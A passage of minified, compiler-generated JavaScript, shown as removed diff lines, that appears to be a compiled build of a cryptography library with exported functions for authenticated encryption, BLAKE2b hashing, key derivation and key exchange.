dt2(t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0, (t7 = 0) | (A8 |= 0), i4 |= 0, o5 |= 0, t7 | (s5 |= 0), a5 |= 0, h5 |= 0, g5 |= 0); - }, j: function(t7, e6, r11, n9, A8, o5, s5, c5, h5, g5, u5) { - return t7 |= 0, e6 |= 0, n9 |= 0, s5 |= 0, h5 |= 0, s5 |= h5 = 0, !(A8 |= 0) & (n9 |= h5) >>> 0 < 4294967280 ? (dt2(t7, t7 + n9 | 0, 0, r11 |= 0, n9, A8, o5 |= 0, s5, c5 |= 0, g5 |= 0, u5 |= 0), e6 && (A8 = (t7 = n9 + 16 | 0) >>> 0 < 16 ? A8 + 1 | 0 : A8, a4[e6 >> 2] = t7, a4[e6 + 4 >> 2] = A8)) : (Kt2(), i3()), 0; - }, k: function(t7, e6, r11, n9, A8, i4, o5, s5, a5, c5, h5) { - return 0 | It2(t7 |= 0, r11 |= 0, (t7 = 0) | (n9 |= 0), A8 |= 0, i4 |= 0, o5 |= 0, t7 | (s5 |= 0), a5 |= 0, c5 |= 0, h5 |= 0); - }, l: function(t7, e6, r11, n9, A8, i4, o5, s5, c5, h5, g5) { - return e6 |= 0, r11 |= 0, n9 |= 0, A8 |= 0, s5 |= 0, s5 |= 0, r11 = -1, !(i4 |= 0) & (A8 |= 0) >>> 0 >= 16 | i4 && (r11 = It2(t7 |= 0, n9, A8 - 16 | 0, i4 - (A8 >>> 0 < 16) | 0, (n9 + A8 | 0) - 16 | 0, o5 |= 0, s5, c5 |= 0, h5 |= 0, g5 |= 0)), e6 && (a4[e6 >> 2] = r11 ? 0 : A8 - 16 | 0, a4[e6 + 4 >> 2] = r11 ? 0 : i4 - (A8 >>> 0 < 16) | 0), 0 | r11; - }, m: function(t7, e6, r11, n9, A8, i4, o5, s5, a5, c5, h5) { - return 0 | pt2(t7 |= 0, r11 |= 0, (t7 = 0) | (n9 |= 0), A8 |= 0, i4 |= 0, o5 |= 0, t7 | (s5 |= 0), a5 |= 0, c5 |= 0, h5 |= 0); - }, n: function(t7, e6, r11, n9, A8, i4, o5, s5, c5, h5, g5) { - return e6 |= 0, r11 |= 0, n9 |= 0, A8 |= 0, s5 |= 0, s5 |= 0, r11 = -1, !(i4 |= 0) & (A8 |= 0) >>> 0 >= 16 | i4 && (r11 = pt2(t7 |= 0, n9, A8 - 16 | 0, i4 - (A8 >>> 0 < 16) | 0, (n9 + A8 | 0) - 16 | 0, o5 |= 0, s5, c5 |= 0, h5 |= 0, g5 |= 0)), e6 && (a4[e6 >> 2] = r11 ? 0 : A8 - 16 | 0, a4[e6 + 4 >> 2] = r11 ? 0 : i4 - (A8 >>> 0 < 16) | 0), 0 | r11; - }, o: ce2, p: function() { - return 12; - }, q: pe2, r: ae2, s: ge2, t: ie2, u: ce2, v: fe2, w: pe2, x: ae2, y: ge2, z: ie2, A: function(t7, e6, r11, n9, A8, i4, o5, s5, a5, c5, h5, g5) { - return 0 | at2(t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0, (t7 = 0) | (A8 |= 0), i4 |= 0, o5 |= 0, t7 | (s5 |= 0), a5 |= 0, h5 |= 0, g5 |= 0); - }, B: function(t7, e6, r11, n9, A8, o5, s5, c5, h5, g5, u5) { - return t7 |= 0, e6 |= 0, n9 |= 0, s5 |= 0, h5 |= 0, s5 |= h5 = 0, !(A8 |= 0) & (n9 |= h5) >>> 0 < 4294967280 ? (at2(t7, t7 + n9 | 0, 0, r11 |= 0, n9, A8, o5 |= 0, s5, c5 |= 0, g5 |= 0, u5 |= 0), e6 && (A8 = (t7 = n9 + 16 | 0) >>> 0 < 16 ? A8 + 1 | 0 : A8, a4[e6 >> 2] = t7, a4[e6 + 4 >> 2] = A8)) : (Kt2(), i3()), 0; - }, C: function(t7, e6, r11, n9, A8, i4, o5, s5, a5, c5, h5) { - return 0 | st2(t7 |= 0, r11 |= 0, (t7 = 0) | (n9 |= 0), A8 |= 0, i4 |= 0, o5 |= 0, t7 | (s5 |= 0), a5 |= 0, c5 |= 0, h5 |= 0); - }, D: function(t7, e6, r11, n9, A8, i4, o5, s5, c5, h5, g5) { - return e6 |= 0, r11 |= 0, n9 |= 0, A8 |= 0, s5 |= 0, s5 |= 0, r11 = -1, !(i4 |= 0) & (A8 |= 0) >>> 0 >= 16 | i4 && (r11 = st2(t7 |= 0, n9, A8 - 16 | 0, i4 - (A8 >>> 0 < 16) | 0, (n9 + A8 | 0) - 16 | 0, o5 |= 0, s5, c5 |= 0, h5 |= 0, g5 |= 0)), e6 && (a4[e6 >> 2] = r11 ? 0 : A8 - 16 | 0, a4[e6 + 4 >> 2] = r11 ? 0 : i4 - (A8 >>> 0 < 16) | 0), 0 | r11; - }, E: ce2, F: he2, G: pe2, H: ae2, I: ge2, J: ie2, K: ce2, L: ce2, M: function(t7, e6, r11, n9, A8) { - var i4; - return t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0, I4 = i4 = I4 - 480 | 0, rt2(i4, A8 |= 0, 32), te2(i4, e6, r11, n9), Pt2(i4, i4 + 416 | 0), e6 = a4[i4 + 444 >> 2], r11 = a4[i4 + 440 >> 2], s4[t7 + 24 | 0] = r11, s4[t7 + 25 | 0] = r11 >>> 8, s4[t7 + 26 | 0] = r11 >>> 16, s4[t7 + 27 | 0] = r11 >>> 24, s4[t7 + 28 | 0] = e6, s4[t7 + 29 | 0] = e6 >>> 8, s4[t7 + 30 | 0] = e6 >>> 16, s4[t7 + 31 | 0] = e6 >>> 24, e6 = a4[i4 + 436 >> 2], r11 = a4[i4 + 432 >> 2], s4[t7 + 16 | 0] = r11, s4[t7 + 17 | 0] = r11 >>> 8, s4[t7 + 18 | 0] = r11 >>> 16, s4[t7 + 19 | 0] = r11 >>> 24, s4[t7 + 20 | 0] = e6, s4[t7 + 21 | 0] = e6 >>> 8, s4[t7 + 22 | 0] = e6 >>> 16, s4[t7 + 23 | 0] = e6 >>> 24, e6 = a4[i4 + 428 >> 2], r11 = a4[i4 + 424 >> 2], s4[t7 + 8 | 0] = r11, s4[t7 + 9 | 0] = r11 >>> 8, s4[t7 + 10 | 0] = r11 >>> 16, s4[t7 + 11 | 0] = r11 >>> 24, s4[t7 + 12 | 0] = e6, s4[t7 + 13 | 0] = e6 >>> 8, s4[t7 + 14 | 0] = e6 >>> 16, s4[t7 + 15 | 0] = e6 >>> 24, e6 = a4[i4 + 420 >> 2], r11 = a4[i4 + 416 >> 2], s4[0 | t7] = r11, s4[t7 + 1 | 0] = r11 >>> 8, s4[t7 + 2 | 0] = r11 >>> 16, s4[t7 + 3 | 0] = r11 >>> 24, s4[t7 + 4 | 0] = e6, s4[t7 + 5 | 0] = e6 >>> 8, s4[t7 + 6 | 0] = e6 >>> 16, s4[t7 + 7 | 0] = e6 >>> 24, I4 = i4 + 480 | 0, 0; - }, N: function(t7, e6, r11, n9, A8) { - var i4, o5; - return t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0, I4 = i4 = I4 - 512 | 0, rt2(o5 = i4 + 32 | 0, A8 |= 0, 32), te2(o5, e6, r11, n9), Pt2(o5, i4 + 448 | 0), e6 = a4[i4 + 476 >> 2], a4[i4 + 24 >> 2] = a4[i4 + 472 >> 2], a4[i4 + 28 >> 2] = e6, e6 = a4[i4 + 468 >> 2], a4[i4 + 16 >> 2] = a4[i4 + 464 >> 2], a4[i4 + 20 >> 2] = e6, e6 = a4[i4 + 460 >> 2], a4[i4 + 8 >> 2] = a4[i4 + 456 >> 2], a4[i4 + 12 >> 2] = e6, e6 = a4[i4 + 452 >> 2], a4[i4 >> 2] = a4[i4 + 448 >> 2], a4[i4 + 4 >> 2] = e6, e6 = Ct2(t7, i4), r11 = ut2(i4, t7, 32), I4 = i4 + 512 | 0, ((0 | t7) == (0 | i4) ? -1 : e6) | r11; - }, O: ie2, P: ce2, Q: ce2, R: ce2, S: ce2, T: he2, U: ae2, V: ge2, W: function(t7, e6, r11) { - t7 |= 0, e6 |= 0; - var n9, A8 = 0; - return I4 = n9 = I4 + -64 | 0, ct2(n9, r11 |= 0, 32, 0), r11 = a4[n9 + 28 >> 2], A8 = a4[n9 + 24 >> 2], s4[e6 + 24 | 0] = A8, s4[e6 + 25 | 0] = A8 >>> 8, s4[e6 + 26 | 0] = A8 >>> 16, s4[e6 + 27 | 0] = A8 >>> 24, s4[e6 + 28 | 0] = r11, s4[e6 + 29 | 0] = r11 >>> 8, s4[e6 + 30 | 0] = r11 >>> 16, s4[e6 + 31 | 0] = r11 >>> 24, r11 = a4[n9 + 20 >> 2], A8 = a4[n9 + 16 >> 2], s4[e6 + 16 | 0] = A8, s4[e6 + 17 | 0] = A8 >>> 8, s4[e6 + 18 | 0] = A8 >>> 16, s4[e6 + 19 | 0] = A8 >>> 24, s4[e6 + 20 | 0] = r11, s4[e6 + 21 | 0] = r11 >>> 8, s4[e6 + 22 | 0] = r11 >>> 16, s4[e6 + 23 | 0] = r11 >>> 24, r11 = a4[n9 + 12 >> 2], A8 = a4[n9 + 8 >> 2], s4[e6 + 8 | 0] = A8, s4[e6 + 9 | 0] = A8 >>> 8, s4[e6 + 10 | 0] = A8 >>> 16, s4[e6 + 11 | 0] = A8 >>> 24, s4[e6 + 12 | 0] = r11, s4[e6 + 13 | 0] = r11 >>> 8, s4[e6 + 14 | 0] = r11 >>> 16, s4[e6 + 15 | 0] = r11 >>> 24, r11 = a4[n9 + 4 >> 2], A8 = a4[n9 >> 2], s4[0 | e6] = A8, s4[e6 + 1 | 0] = A8 >>> 8, s4[e6 + 2 | 0] = A8 >>> 16, s4[e6 + 3 | 0] = A8 >>> 24, s4[e6 + 4 | 0] = r11, s4[e6 + 5 | 0] = r11 >>> 8, s4[e6 + 6 | 0] = r11 >>> 16, s4[e6 + 7 | 0] = r11 >>> 24, oe2(n9, 64), t7 = ee2(t7, e6), I4 = n9 - -64 | 0, 0 | t7; - }, X: jt2, Y: Nt2, Z: Tt2, _: function(t7, e6, r11, n9, A8, i4, o5, s5) { - t7 |= 0, e6 |= 0, r11 |= 0, i4 |= 0; - var a5, c5 = 0; - return c5 = n9 |= 0, n9 = A8 |= 0, a5 = 0 | c5, I4 = c5 = I4 - 32 | 0, A8 = -1, Nt2(c5, o5 |= 0, s5 |= 0) || (A8 = ot2(t7, e6, r11, a5, n9, i4, c5), oe2(c5, 32)), I4 = c5 + 32 | 0, 0 | A8; - }, $: function(t7, e6, r11, n9, A8, o5) { - return t7 |= 0, e6 |= 0, A8 |= 0, o5 |= 0, !(n9 |= 0) & (r11 |= 0) >>> 0 >= 4294967280 | n9 && (Kt2(), i3()), 0 | ot2(t7 + 16 | 0, t7, e6, r11, n9, A8, o5); - }, aa: function(t7, e6, r11, n9, A8, i4, o5) { - return 0 | Dt2(t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0, A8 |= 0, i4 |= 0, o5 |= 0); - }, ba: Rt2, ca: function(t7, e6, r11, n9, A8, i4, o5, s5) { - t7 |= 0, e6 |= 0, r11 |= 0, i4 |= 0; - var a5, c5 = 0; - return c5 = n9 |= 0, n9 = A8 |= 0, a5 = 0 | c5, I4 = c5 = I4 - 32 | 0, A8 = -1, Nt2(c5, o5 |= 0, s5 |= 0) || (A8 = it2(t7, e6, r11, a5, n9, i4, c5), oe2(c5, 32)), I4 = c5 + 32 | 0, 0 | A8; - }, da: St2, ea: function(t7, e6, r11, n9, A8, i4, o5) { - return 0 | _t2(t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0, A8 |= 0, i4 |= 0, o5 |= 0); - }, fa: function(t7, e6, r11, n9, A8) { - t7 |= 0, e6 |= 0, A8 |= 0; - var i4, o5, c5, h5, g5 = 0, u5 = 0; - return g5 = r11 |= 0, r11 = n9 |= 0, h5 = 0 | g5, g5 = n9 = I4, I4 = i4 = n9 - 512 & -64, n9 = -1, jt2(o5 = i4 - -64 | 0, c5 = i4 + 32 | 0) || (F4(n9 = i4 + 128 | 0, 0, 0, 24), W2(n9, o5, 32, 0), W2(n9, A8, 32, 0), Ft2(n9, u5 = i4 + 96 | 0, 24), n9 = Dt2(t7 + 32 | 0, e6, h5, r11, u5, A8, c5), e6 = a4[i4 + 92 >> 2], r11 = a4[i4 + 88 >> 2], s4[t7 + 24 | 0] = r11, s4[t7 + 25 | 0] = r11 >>> 8, s4[t7 + 26 | 0] = r11 >>> 16, s4[t7 + 27 | 0] = r11 >>> 24, s4[t7 + 28 | 0] = e6, s4[t7 + 29 | 0] = e6 >>> 8, s4[t7 + 30 | 0] = e6 >>> 16, s4[t7 + 31 | 0] = e6 >>> 24, e6 = a4[i4 + 84 >> 2], r11 = a4[i4 + 80 >> 2], s4[t7 + 16 | 0] = r11, s4[t7 + 17 | 0] = r11 >>> 8, s4[t7 + 18 | 0] = r11 >>> 16, s4[t7 + 19 | 0] = r11 >>> 24, s4[t7 + 20 | 0] = e6, s4[t7 + 21 | 0] = e6 >>> 8, s4[t7 + 22 | 0] = e6 >>> 16, s4[t7 + 23 | 0] = e6 >>> 24, e6 = a4[i4 + 76 >> 2], r11 = a4[i4 + 72 >> 2], s4[t7 + 8 | 0] = r11, s4[t7 + 9 | 0] = r11 >>> 8, s4[t7 + 10 | 0] = r11 >>> 16, s4[t7 + 11 | 0] = r11 >>> 24, s4[t7 + 12 | 0] = e6, s4[t7 + 13 | 0] = e6 >>> 8, s4[t7 + 14 | 0] = e6 >>> 16, s4[t7 + 15 | 0] = e6 >>> 24, e6 = a4[i4 + 68 >> 2], r11 = a4[i4 + 64 >> 2], s4[0 | t7] = r11, s4[t7 + 1 | 0] = r11 >>> 8, s4[t7 + 2 | 0] = r11 >>> 16, s4[t7 + 3 | 0] = r11 >>> 24, s4[t7 + 4 | 0] = e6, s4[t7 + 5 | 0] = e6 >>> 8, s4[t7 + 6 | 0] = e6 >>> 16, s4[t7 + 7 | 0] = e6 >>> 24, oe2(c5, 32), oe2(o5, 32), oe2(u5, 24)), I4 = g5, 0 | n9; - }, ga: function(t7, e6, r11, n9, A8, i4) { - t7 |= 0, e6 |= 0, A8 |= 0, i4 |= 0; - var o5, s5, a5 = 0; - return s5 = a5 = I4, I4 = o5 = a5 - 448 & -64, a5 = -1, !(n9 |= 0) & (r11 |= 0) >>> 0 >= 48 | n9 && (F4(a5 = o5 - -64 | 0, 0, 0, 24), W2(a5, e6, 32, 0), W2(a5, A8, 32, 0), Ft2(a5, A8 = o5 + 32 | 0, 24), a5 = _t2(t7, e6 + 32 | 0, r11 - 32 | 0, n9 - (r11 >>> 0 < 32) | 0, A8, e6, i4)), I4 = s5, 0 | a5; - }, ha: function() { - return 48; - }, ia: ae2, ja: ue2, ka: ce2, la: ae2, ma: ue2, na: ce2, oa: function() { - return 384; - }, pa: function(t7, e6, r11, n9, A8, i4, o5) { - return 0 | j4(t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0, A8 |= 0, i4 |= 0, o5 |= 0); - }, qa: F4, ra: function(t7, e6, r11, n9) { - return 0 | W2(t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0); - }, sa: Ft2, ta: ie2, ua: ue2, va: function(t7, e6, r11, n9) { - return 0 | ct2(t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0); - }, wa: ae2, xa: ue2, ya: fe2, za: ce2, Aa: function(t7, e6, r11, n9, A8, o5) { - t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0, o5 |= 0; - var s5, h5 = 0, g5 = 0, u5 = 0, l5 = 0, f5 = 0, p5 = 0, d5 = 0; - return I4 = s5 = I4 - 32 | 0, h5 = c4[0 | (A8 |= 0)] | c4[A8 + 1 | 0] << 8 | c4[A8 + 2 | 0] << 16 | c4[A8 + 3 | 0] << 24, A8 = c4[A8 + 4 | 0] | c4[A8 + 5 | 0] << 8 | c4[A8 + 6 | 0] << 16 | c4[A8 + 7 | 0] << 24, a4[s5 + 24 >> 2] = 0, a4[s5 + 28 >> 2] = 0, a4[s5 + 16 >> 2] = h5, a4[s5 + 20 >> 2] = A8, a4[s5 + 8 >> 2] = 0, a4[s5 + 12 >> 2] = 0, a4[(A8 = s5) >> 2] = r11, a4[A8 + 4 >> 2] = n9, e6 - 65 >>> 0 <= 4294967246 ? (a4[9005] = 28, t7 = -1) : e6 - 65 >>> 0 < 4294967232 ? t7 = -1 : (I4 = A8 = (u5 = I4) - 512 & -64, !o5 | !t7 | ((g5 = 255 & e6) - 65 & 255) >>> 0 <= 191 ? (Kt2(), i3()) : (n9 = s5 + 16 | 0, s5 ? (l5 = 725511199 ^ (c4[s5 + 8 | 0] | c4[s5 + 9 | 0] << 8 | c4[s5 + 10 | 0] << 16 | c4[s5 + 11 | 0] << 24), f5 = -1694144372 ^ (c4[s5 + 12 | 0] | c4[s5 + 13 | 0] << 8 | c4[s5 + 14 | 0] << 16 | c4[s5 + 15 | 0] << 24), r11 = -1377402159 ^ (c4[0 | s5] | c4[s5 + 1 | 0] << 8 | c4[s5 + 2 | 0] << 16 | c4[s5 + 3 | 0] << 24), e6 = 1359893119 ^ (c4[s5 + 4 | 0] | c4[s5 + 5 | 0] << 8 | c4[s5 + 6 | 0] << 16 | c4[s5 + 7 | 0] << 24)) : (l5 = 725511199, f5 = -1694144372, r11 = -1377402159, e6 = 1359893119), n9 ? (p5 = 327033209 ^ (c4[n9 + 8 | 0] | c4[n9 + 9 | 0] << 8 | c4[n9 + 10 | 0] << 16 | c4[n9 + 11 | 0] << 24), d5 = 1541459225 ^ (c4[n9 + 12 | 0] | c4[n9 + 13 | 0] << 8 | c4[n9 + 14 | 0] << 16 | c4[n9 + 15 | 0] << 24), h5 = -79577749 ^ (c4[0 | n9] | c4[n9 + 1 | 0] << 8 | c4[n9 + 2 | 0] << 16 | c4[n9 + 3 | 0] << 24), n9 = 528734635 ^ (c4[n9 + 4 | 0] | c4[n9 + 5 | 0] << 8 | c4[n9 + 6 | 0] << 16 | c4[n9 + 7 | 0] << 24)) : (p5 = 327033209, d5 = 1541459225, h5 = -79577749, n9 = 528734635), xt2(A8 - -64 | 0, 0, 293), a4[A8 + 56 >> 2] = p5, a4[A8 + 60 >> 2] = d5, a4[A8 + 48 >> 2] = h5, a4[A8 + 52 >> 2] = n9, a4[A8 + 40 >> 2] = l5, a4[A8 + 44 >> 2] = f5, a4[A8 + 32 >> 2] = r11, a4[A8 + 36 >> 2] = e6, a4[A8 + 24 >> 2] = 1595750129, a4[A8 + 28 >> 2] = -1521486534, a4[A8 + 16 >> 2] = -23791573, a4[A8 + 20 >> 2] = 1013904242, a4[A8 + 8 >> 2] = -2067093701, a4[A8 + 12 >> 2] = -1150833019, a4[A8 >> 2] = -222443256 ^ (8192 | g5), a4[A8 + 4 >> 2] = 1779033703, xt2(32 + (e6 = A8 + 384 | 0) | 0, 0, 96), Mt2(e6, o5, 32), Mt2(A8 + 96 | 0, e6, 128), a4[A8 + 352 >> 2] = 128, oe2(e6, 128), S4(A8, t7, g5), I4 = u5), t7 = 0), I4 = s5 + 32 | 0, 0 | t7; - }, Ba: ie2, Ca: function(t7, e6, r11) { - return 0 | J4(t7 |= 0, e6 |= 0, r11 |= 0); - }, Da: function(t7, e6, r11) { - return 0 | re2(t7 |= 0, e6 |= 0, r11 |= 0); - }, Ea: function(t7, e6) { - return Ut2(t7 |= 0, e6 |= 0), oe2(t7, 4), 0; - }, Fa: function(t7, e6, r11, n9, A8) { - var i4; - return t7 |= 0, n9 |= 0, A8 |= 0, I4 = i4 = I4 - 208 | 0, J4(i4, e6 |= 0, r11 |= 0), re2(i4, n9, A8), Ut2(i4, t7), oe2(i4, 4), I4 = i4 + 208 | 0, 0; - }, Ga: ie2, Ha: function(t7, e6, r11, n9, A8) { - t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0, A8 |= 0; - var i4, o5 = 0, h5 = 0, g5 = 0; - if (I4 = i4 = I4 - 256 | 0, s4[i4 + 15 | 0] = 1, e6 >>> 0 <= 8160) { - if (e6 >>> 0 >= 32) - for (o5 = 32; g5 = o5, J4(o5 = i4 + 48 | 0, A8, 32), h5 && re2(o5, (t7 + h5 | 0) - 32 | 0, 32), re2(o5 = i4 + 48 | 0, r11, n9), re2(o5, i4 + 15 | 0, 1), Ut2(o5, t7 + h5 | 0), s4[i4 + 15 | 0] = c4[i4 + 15 | 0] + 1, (o5 = (h5 = g5) + 32 | 0) >>> 0 <= e6 >>> 0; ) - ; - (h5 = 31 & e6) && (J4(e6 = i4 + 48 | 0, A8, 32), g5 && re2(e6, (t7 + g5 | 0) - 32 | 0, 32), re2(e6 = i4 + 48 | 0, r11, n9), re2(e6, i4 + 15 | 0, 1), Ut2(r11 = e6, e6 = i4 + 16 | 0), Mt2(t7 + g5 | 0, e6, h5), oe2(e6, 32)), oe2(i4 + 48 | 0, 208), t7 = 0; - } else - a4[9005] = 28, t7 = -1; - return I4 = i4 + 256 | 0, 0 | t7; - }, Ia: ce2, Ja: pe2, Ka: function() { - return 8160; - }, La: se2, Ma: function(t7, e6, r11) { - return 0 | rt2(t7 |= 0, e6 |= 0, r11 |= 0); - }, Na: function(t7, e6, r11) { - return 0 | te2(t7 |= 0, e6 |= 0, r11 |= 0, 0); - }, Oa: function(t7, e6) { - return Pt2(t7 |= 0, e6 |= 0), oe2(t7, 4), 0; - }, Pa: function(t7, e6, r11, n9, A8) { - var i4; - return t7 |= 0, n9 |= 0, A8 |= 0, I4 = i4 = I4 - 416 | 0, rt2(i4, e6 |= 0, r11 |= 0), te2(i4, n9, A8, 0), Pt2(i4, t7), oe2(i4, 4), I4 = i4 + 416 | 0, 0; - }, Qa: function(t7) { - vt2(t7 |= 0, 64); - }, Ra: function(t7, e6, r11, n9, A8) { - t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0, A8 |= 0; - var i4, o5 = 0, h5 = 0, g5 = 0; - if (I4 = i4 = I4 - 496 | 0, s4[i4 + 15 | 0] = 1, e6 >>> 0 <= 16320) { - if (e6 >>> 0 >= 64) - for (o5 = 64; g5 = o5, rt2(o5 = i4 + 80 | 0, A8, 64), h5 && te2(o5, (t7 + h5 | 0) - 64 | 0, 64, 0), te2(o5 = i4 + 80 | 0, r11, n9, 0), te2(o5, i4 + 15 | 0, 1, 0), Pt2(o5, t7 + h5 | 0), s4[i4 + 15 | 0] = c4[i4 + 15 | 0] + 1, (o5 = (h5 = g5) - -64 | 0) >>> 0 <= e6 >>> 0; ) - ; - (h5 = 63 & e6) && (rt2(e6 = i4 + 80 | 0, A8, 64), g5 && te2(e6, (t7 + g5 | 0) - 64 | 0, 64, 0), te2(e6 = i4 + 80 | 0, r11, n9, 0), te2(e6, i4 + 15 | 0, 1, 0), Pt2(r11 = e6, e6 = i4 + 16 | 0), Mt2(t7 + g5 | 0, e6, h5), oe2(e6, 64)), oe2(i4 + 80 | 0, 416), t7 = 0; - } else - a4[9005] = 28, t7 = -1; - return I4 = i4 + 496 | 0, 0 | t7; - }, Sa: ue2, Ta: pe2, Ua: function() { - return 16320; - }, Va: function(t7, e6, r11) { - return t7 |= 0, j4(e6 |= 0, 32, r11 |= 0, 32, 0, 0, 0), 0 | Vt2(t7, e6); - }, Wa: function(t7, e6) { - return t7 |= 0, vt2(e6 |= 0, 32), 0 | Vt2(t7, e6); - }, Xa: function(t7, e6, r11, n9, A8) { - e6 |= 0, r11 |= 0, n9 |= 0, A8 |= 0; - var o5, a5, h5 = 0, g5 = 0, u5 = 0; - if (a5 = h5 = I4, I4 = h5 = h5 - 512 & -64, o5 = (t7 |= 0) || e6) { - if (u5 = -1, !Yt2(g5 = h5 + 96 | 0, n9, A8)) { - for (n9 = e6 || t7, t7 = 0, F4(e6 = h5 + 128 | 0, 0, 0, 64), W2(e6, g5, 32, 0), oe2(g5, 32), W2(e6, r11, 32, 0), W2(e6, A8, 32, 0), Ft2(e6, h5 + 32 | 0, 64), oe2(e6, 384); r11 = (e6 = h5 + 32 | 0) + t7 | 0, s4[t7 + o5 | 0] = c4[0 | r11], s4[t7 + n9 | 0] = c4[r11 + 32 | 0], s4[(A8 = 1 | t7) + o5 | 0] = c4[e6 + A8 | 0], s4[n9 + A8 | 0] = c4[r11 + 33 | 0], 32 != (0 | (t7 = t7 + 2 | 0)); ) - ; - oe2(e6, 64), u5 = 0; - } - return I4 = a5, 0 | u5; - } - Kt2(), i3(); - }, Ya: function(t7, e6, r11, n9, A8) { - e6 |= 0, r11 |= 0, n9 |= 0, A8 |= 0; - var o5, a5, h5 = 0, g5 = 0, u5 = 0; - if (a5 = h5 = I4, I4 = h5 = h5 - 512 & -64, o5 = (t7 |= 0) || e6) { - if (u5 = -1, !Yt2(g5 = h5 + 96 | 0, n9, A8)) { - for (n9 = e6 || t7, t7 = 0, F4(e6 = h5 + 128 | 0, 0, 0, 64), W2(e6, g5, 32, 0), oe2(g5, 32), W2(e6, A8, 32, 0), W2(e6, r11, 32, 0), Ft2(e6, h5 + 32 | 0, 64), oe2(e6, 384); r11 = (e6 = h5 + 32 | 0) + t7 | 0, s4[t7 + n9 | 0] = c4[0 | r11], s4[t7 + o5 | 0] = c4[r11 + 32 | 0], s4[(A8 = 1 | t7) + n9 | 0] = c4[e6 + A8 | 0], s4[A8 + o5 | 0] = c4[r11 + 33 | 0], 32 != (0 | (t7 = t7 + 2 | 0)); ) - ; - oe2(e6, 64), u5 = 0; - } - return I4 = a5, 0 | u5; - } - Kt2(), i3(); - }, Za: ce2, _a: ce2, $a: ce2, ab: ce2, bb: Vt2, cb: Yt2, db: ce2, eb: ce2, fb: ce2, gb: he2, hb: ae2, ib: ge2, jb: ie2, kb: Tt2, lb: function(t7, e6, r11, n9, A8, o5) { - return t7 |= 0, e6 |= 0, A8 |= 0, o5 |= 0, !(n9 |= 0) & (r11 |= 0) >>> 0 >= 4294967280 | n9 && (Kt2(), i3()), ot2(t7 + 16 | 0, t7, e6, r11, n9, A8, o5), 0; - }, mb: Rt2, nb: St2, ob: ie2, pb: function(t7, e6, r11) { - return t7 |= 0, r11 |= 0, vt2(e6 |= 0, 24), L4(t7, e6, r11), s4[t7 + 32 | 0] = 1, s4[t7 + 33 | 0] = 0, s4[t7 + 34 | 0] = 0, s4[t7 + 35 | 0] = 0, r11 = c4[e6 + 16 | 0] | c4[e6 + 17 | 0] << 8 | c4[e6 + 18 | 0] << 16 | c4[e6 + 19 | 0] << 24, e6 = c4[e6 + 20 | 0] | c4[e6 + 21 | 0] << 8 | c4[e6 + 22 | 0] << 16 | c4[e6 + 23 | 0] << 24, s4[t7 + 44 | 0] = 0, s4[t7 + 45 | 0] = 0, s4[t7 + 46 | 0] = 0, s4[t7 + 47 | 0] = 0, s4[t7 + 48 | 0] = 0, s4[t7 + 49 | 0] = 0, s4[t7 + 50 | 0] = 0, s4[t7 + 51 | 0] = 0, s4[t7 + 36 | 0] = r11, s4[t7 + 37 | 0] = r11 >>> 8, s4[t7 + 38 | 0] = r11 >>> 16, s4[t7 + 39 | 0] = r11 >>> 24, s4[t7 + 40 | 0] = e6, s4[t7 + 41 | 0] = e6 >>> 8, s4[t7 + 42 | 0] = e6 >>> 16, s4[t7 + 43 | 0] = e6 >>> 24, 0; - }, qb: function(t7, e6, r11) { - return L4(t7 |= 0, e6 |= 0, r11 |= 0), s4[t7 + 32 | 0] = 1, s4[t7 + 33 | 0] = 0, s4[t7 + 34 | 0] = 0, s4[t7 + 35 | 0] = 0, r11 = c4[e6 + 16 | 0] | c4[e6 + 17 | 0] << 8 | c4[e6 + 18 | 0] << 16 | c4[e6 + 19 | 0] << 24, e6 = c4[e6 + 20 | 0] | c4[e6 + 21 | 0] << 8 | c4[e6 + 22 | 0] << 16 | c4[e6 + 23 | 0] << 24, s4[t7 + 44 | 0] = 0, s4[t7 + 45 | 0] = 0, s4[t7 + 46 | 0] = 0, s4[t7 + 47 | 0] = 0, s4[t7 + 48 | 0] = 0, s4[t7 + 49 | 0] = 0, s4[t7 + 50 | 0] = 0, s4[t7 + 51 | 0] = 0, s4[t7 + 36 | 0] = r11, s4[t7 + 37 | 0] = r11 >>> 8, s4[t7 + 38 | 0] = r11 >>> 16, s4[t7 + 39 | 0] = r11 >>> 24, s4[t7 + 40 | 0] = e6, s4[t7 + 41 | 0] = e6 >>> 8, s4[t7 + 42 | 0] = e6 >>> 16, s4[t7 + 43 | 0] = e6 >>> 24, 0; - }, rb: function(t7) { - var e6, r11 = 0, n9 = 0; - I4 = e6 = I4 - 48 | 0, r11 = c4[28 + (t7 |= 0) | 0] | c4[t7 + 29 | 0] << 8 | c4[t7 + 30 | 0] << 16 | c4[t7 + 31 | 0] << 24, a4[e6 + 24 >> 2] = c4[t7 + 24 | 0] | c4[t7 + 25 | 0] << 8 | c4[t7 + 26 | 0] << 16 | c4[t7 + 27 | 0] << 24, a4[e6 + 28 >> 2] = r11, r11 = c4[t7 + 20 | 0] | c4[t7 + 21 | 0] << 8 | c4[t7 + 22 | 0] << 16 | c4[t7 + 23 | 0] << 24, a4[e6 + 16 >> 2] = c4[t7 + 16 | 0] | c4[t7 + 17 | 0] << 8 | c4[t7 + 18 | 0] << 16 | c4[t7 + 19 | 0] << 24, a4[e6 + 20 >> 2] = r11, r11 = c4[t7 + 4 | 0] | c4[t7 + 5 | 0] << 8 | c4[t7 + 6 | 0] << 16 | c4[t7 + 7 | 0] << 24, a4[e6 >> 2] = c4[0 | t7] | c4[t7 + 1 | 0] << 8 | c4[t7 + 2 | 0] << 16 | c4[t7 + 3 | 0] << 24, a4[e6 + 4 >> 2] = r11, r11 = c4[t7 + 12 | 0] | c4[t7 + 13 | 0] << 8 | c4[t7 + 14 | 0] << 16 | c4[t7 + 15 | 0] << 24, a4[e6 + 8 >> 2] = c4[t7 + 8 | 0] | c4[t7 + 9 | 0] << 8 | c4[t7 + 10 | 0] << 16 | c4[t7 + 11 